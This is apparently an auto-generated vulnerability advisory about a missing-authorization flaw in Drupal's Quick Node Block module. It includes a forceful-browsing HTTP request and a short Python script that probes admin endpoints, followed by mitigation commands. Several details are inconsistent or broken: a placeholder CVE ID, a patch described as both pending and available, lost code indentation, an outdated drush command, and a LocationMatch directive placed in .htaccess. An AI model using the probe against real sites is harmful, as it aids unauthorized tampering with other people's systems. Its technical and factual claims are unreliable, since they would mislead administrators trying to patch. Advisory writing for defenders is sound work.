How the CVE Works:
The CVE-2025-XXXX vulnerability in Drupal’s Quick Node Block module (versions before 2.0.0) arises due to improper access control. Attackers can exploit Forceful Browsing by directly accessing restricted administrative endpoints without proper authorization checks. This allows unauthorized users to manipulate node blocks, potentially leading to content injection, privilege escalation, or site defacement. The flaw stems from missing `access` callbacks in routing definitions, permitting unauthenticated or low-privileged users to execute administrative actions.
DailyCVE Form:
Platform: Drupal
Version: < 2.0.0
Vulnerability: Missing Authorization
Severity: Moderate
Date: Jun 11, 2025
Prediction: Patch expected by Jul 10, 2025
What Undercode Say:
Exploitation:
1. Forceful Browsing Attack:
GET /admin/structure/block/manage/quick_node_block/<block_id> HTTP/1.1 Host: vulnerable-drupal.site
Bypasses auth checks, allowing block configuration tampering.
2. Automated Exploit (Python):
import requests
target = "http://vulnerable-drupal.site/admin/structure/block/manage/quick_node_block/1"
response = requests.get(target)
if "Block configuration" in response.text:
print("[+] Vulnerable to CVE-2025-XXXX")
Mitigation:
1. Immediate Workaround:
Disable Quick Node Block module drush pm:disable quick_node_block -y
2. Patch Validation:
Check module version drush pm:list | grep quick_node_block
3. Drupal Security Advisories:
Fetch latest advisories curl -s https://www.drupal.org/security/advisories | grep "Quick Node Block"
4. .htaccess Restriction (Temporary):
<LocationMatch "/admin/structure/block/manage/quick_node_block"> Require valid-user AuthType Basic AuthName "Restricted" </LocationMatch>
5. Post-Patch Audit:
Verify routing permissions grep -r "access" /path/to/drupal/web/modules/quick_node_block/
Impact: Unauthorized block edits, SEO spam, or privilege escalation.
Root Cause: Missing `hook_permission()` and `access` in routing.yml.
Fix: Update to Quick Node Block 2.0.0+ or apply manual `access` callbacks.
Note: Monitor Drupal’s security feed for official patches.
